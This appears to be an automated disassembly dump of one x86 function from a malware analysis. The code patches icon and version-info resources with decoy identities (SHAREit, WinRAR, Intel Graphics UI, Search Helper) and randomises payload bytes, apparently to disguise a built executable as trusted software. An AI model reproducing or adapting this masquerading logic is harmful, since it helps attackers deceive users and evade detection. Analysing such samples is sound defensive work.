Function at 0x6308c9d8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov eax, 0x8c72c
mov ebp, esp
push edi
push esi
push ebx
call fcn.630a6c70
mov esi, 0x630ba660
mov ecx, 0x1ca3
sub esp, eax
lea edi, [ebp - 0x87fe6]
lea eax, [ebp - 0x80418]
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x8aba8]
mov esi, 0x630bc320
mov ecx, 0x1357
lea ebx, [ebp - 0x8bba8]
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x89851]
mov esi, 0x630bd680
mov ecx, 0x186b
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x8c69d]
mov esi, 0x630bef00
mov ecx, 0xaf5
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x86343]
mov esi, 0x630bfa00
mov ecx, 0x1f2b
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x10], 0x64
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x63163aa0
mov dword [esp], eax
call fcn.63087b59
mov dword [esp], ebx
mov dword [esp + 4], 0x10
call fcn.630855e3
lea eax, [ebp - 0x80418]
mov dword [esp + 4], ebx
mov dword [esp + 0x10], 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x64
mov dword [esp], eax
call fcn.63087b59
lea eax, [ebp - 0x80418]
mov dword [esp + 0x10], 0xf8
mov dword [esp + 0xc], 0x74
mov dword [esp + 8], 0x74
mov dword [esp + 4], 0x63163aa0
mov dword [esp], eax
call fcn.63087b59
mov dword [esp], ebx
mov dword [esp + 4], 0xc
call fcn.630855e3
lea eax, [ebp - 0x80418]
mov dword [esp + 4], ebx
lea ebx, [ebp - 0x84418]
mov dword [esp + 0x10], 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x16c
mov dword [esp], eax
call fcn.63087b59
mov dword [esp + 4], str.UwBIAFgAQA
mov dword [esp], ebx
call fcn.63087c5e
mov dword [esp + 0x10], eax
mov eax, dword [0x63163a80]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x63163aa0
mov dword [esp], 0
mov dword [esp + 4], eax
call fcn.63087b90
test eax, eax
mov ecx, 0x178
js 0x6308cc1c
mov ebx, eax
lea esi, [eax + 7]
lea eax, [eax - 0x171]
mov dword [esp + 0xc], 0x178
mov dword [esp + 8], 0x178
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x80418]
mov dword [esp + 4], 0x63163aa0
mov dword [esp], eax
call fcn.63087b59
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
mov ecx, 0x100
cdq
idiv ecx
test dl, dl
je 0x6308cbe1
mov byte [ebp + esi - 0x80418], dl
movsx esi, byte [0x630d9020]
add ebx, 8
mov ecx, dword [0x630d9024]
movzx edx, dl
add ecx, ebx
sub edx, esi
lea edi, [ecx - 7]
mov esi, edx
jmp 0x6308cc06
movsx eax, byte [0x630d9020]
cmp edx, eax
je 0x6308cbab
jmp 0x6308cbbc
movsx eax, byte [ebx + 0x63163aa0]
add eax, esi
jns 0x6308cc0c
add eax, 0x100
mov byte [ebp + ebx - 0x80418], al
inc ebx
cmp ebx, edi
jl 0x6308cbee
jmp 0x6308cc1c
lea edx, [eax - 0x100]
cmp eax, 0x100
cmovge eax, edx
jmp 0x6308cbfe
lea ebx, [ebp - 0x8c6c1]
mov dword [esp + 4], str.TQBBAEkATgBJAEMATwBO
mov dword [ebp - 0x8c70c], ecx
mov dword [esp], ebx
call fcn.63087c5e
mov dword [esp + 0x10], eax
mov eax, dword [0x63163a80]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x63163aa0
mov dword [esp], 0
mov dword [esp + 4], eax
call fcn.63087b90
test eax, eax
mov ecx, dword [ebp - 0x8c70c]
js 0x6308cd5a
lea esi, [eax + 0x84]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x63163aa0
lea ebx, [ebp - 0x84418]
mov eax, esi
sub eax, ecx
mov edi, ebx
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x80418]
mov dword [esp], eax
call fcn.63087b59
xor eax, eax
cmp dword [ebp + 0xc], 1
mov ecx, 0x1000
rep stosd dword es:[edi], eax
jne 0x6308ccc2
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1ca3
lea eax, [ebp - 0x87fe6]
jmp 0x6308cd2a
cmp dword [ebp + 0xc], 2
jne 0x6308ccdc
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1357
lea eax, [ebp - 0x8aba8]
jmp 0x6308cd2a
cmp dword [ebp + 0xc], 3
jne 0x6308ccf6
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x186b
lea eax, [ebp - 0x89851]
jmp 0x6308cd2a
cmp dword [ebp + 0xc], 4
jne 0x6308cd02
mov dword [esp + 8], ebx
jmp 0x6308cd1c
cmp dword [ebp + 0xc], 5
mov dword [esp + 8], ebx
jne 0x6308cd1c
mov dword [esp + 4], 0x1f2b
lea eax, [ebp - 0x86343]
jmp 0x6308cd2a
lea eax, [ebp - 0x8c69d]
mov dword [esp + 4], 0xaf5
mov dword [esp], eax
call fcn.6308b34d
lea edi, [eax + 1]
lea eax, [ebp - 0x80418]
mov dword [esp + 0xc], 0
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp + 0x10], edi
mov dword [esp], eax
call fcn.63087b59
lea ecx, [edi + esi]
lea ebx, [ebp - 0x8c705]
mov dword [esp + 4], str.VgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8
mov dword [ebp - 0x8c70c], ecx
mov dword [esp], ebx
call fcn.63087c5e
mov dword [esp + 0x10], eax
mov eax, dword [0x63163a80]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x63163aa0
mov dword [esp], 0
mov dword [esp + 4], eax
call fcn.63087b90
test eax, eax
mov ebx, eax
mov ecx, dword [ebp - 0x8c70c]
js 0x6308d0bc
lea edi, [eax + 0xba]
lea esi, [ebp - 0x80418]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x63163aa0
mov eax, edi
mov dword [esp], esi
sub eax, ecx
mov dword [esp + 0x10], eax
call fcn.63087b59
cmp dword [ebp + 0xc], 1
jne 0x6308ce46
lea eax, [ebp - 0x8c6e5]
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], 0
mov dword [esp + 4], str.Package
mov dword [esp], eax
call fcn.63087b28
lea eax, [ebp - 0x8c6c1]
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], 0
mov dword [esp + 4], str.package.exe
mov dword [esp], eax
call fcn.63087b28
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], 0
mov dword [esp + 4], str.MicroPackage
jmp 0x6308cfde
cmp dword [ebp + 0xc], 2
jne 0x6308ceb5
lea eax, [ebp - 0x8c6e5]
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], 0
mov dword [esp + 4], str.SHAREit
mov dword [esp], eax
call fcn.63087b28
lea eax, [ebp - 0x8c6c1]
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], 0
mov dword [esp + 4], str.Shareit.exe
mov dword [esp], eax
call fcn.63087b28
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], 0
mov dword [esp + 4], str.Lenovo_SHAREit
jmp 0x6308cfde
cmp dword [ebp + 0xc], 3
jne 0x6308cf24
lea eax, [ebp - 0x8c6e5]
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], 0
mov dword [esp + 4], str.Search_Helper
mov dword [esp], eax
call fcn.63087b28
lea eax, [ebp - 0x8c6c1]
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], 0
mov dword [esp + 4], str.SearchHelper.exe
mov dword [esp], eax
call fcn.63087b28
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], 0
mov dword [esp + 4], str.Search_Indexer
jmp 0x6308cfde
cmp dword [ebp + 0xc], 5
lea eax, [ebp - 0x8c6e5]
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], 0
je 0x6308cf90
mov dword [esp + 4], str.WinRAR_Archiver
mov dword [esp], eax
call fcn.63087b28
lea eax, [ebp - 0x8c6c1]
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], 0
mov dword [esp + 4], str.winrar.exe
mov dword [esp], eax
call fcn.63087b28
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], 0
mov dword [esp + 4], str.WinRAR
jmp 0x6308cfde
mov dword [esp + 4], str.Intel_Graphics_UI
mov dword [esp], eax
call fcn.63087b28
lea eax, [ebp - 0x8c6c1]
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], 0
mov dword [esp + 4], str.GfxUI.exe
mov dword [esp], eax
call fcn.63087b28
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], 0
mov dword [esp + 4], str.GfxUI
lea eax, [ebp - 0x84418]
mov dword [esp], eax
call fcn.63087b28
lea eax, [ebp - 0x8c6e5]
mov dword [esp + 0x10], 0x24
mov dword [esp + 0xc], 0
mov dword [esp + 8], edi
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.63087b59
lea eax, [ebx + 0xde]
mov dword [esp + 0x10], 0x2c
mov dword [esp + 4], 0x63163aa0
mov dword [esp], esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
call fcn.63087b59
lea eax, [ebx + 0x10a]
mov dword [esp + 0x10], 0x24
mov dword [esp + 0xc], 0
mov dword [esp], esi
mov dword [esp + 8], eax
lea eax, [ebp - 0x8c6c1]
mov dword [esp + 4], eax
call fcn.63087b59
lea eax, [ebx + 0x12e]
mov dword [esp + 0x10], 0x24
mov dword [esp + 4], 0x63163aa0
mov dword [esp], esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
call fcn.63087b59
lea eax, [ebx + 0x152]
mov dword [esp + 0x10], 0x24
mov dword [esp + 0xc], 0
mov dword [esp], esi
mov dword [esp + 8], eax
lea eax, [ebp - 0x84418]
mov dword [esp + 4], eax
call fcn.63087b59
lea ecx, [ebx + 0x176]
mov eax, dword [0x63163a80]
mov dword [esp + 0xc], ecx
mov edi, 0x1000
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x63163aa0
sub eax, ecx
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x80418]
mov dword [esp], eax
call fcn.63087b59
mov dword [esp], 0
mov esi, dword [0x63163a80]
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
cdq
idiv edi
lea edi, [ebp - 0x8bba8]
mov dword [esp], edi
mov dword [esp + 4], edx
mov ebx, edx
call fcn.630855e3
lea eax, [ebp - 0x80418]
mov dword [esp + 0x10], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp + 0xc], 0
add ebx, esi
mov dword [esp], eax
call fcn.63087b59
lea eax, [ebp - 0x80418]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x630c4350
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.63085390
add esp, 0x8c72c
pop ebx
pop esi
pop edi
pop ebp
ret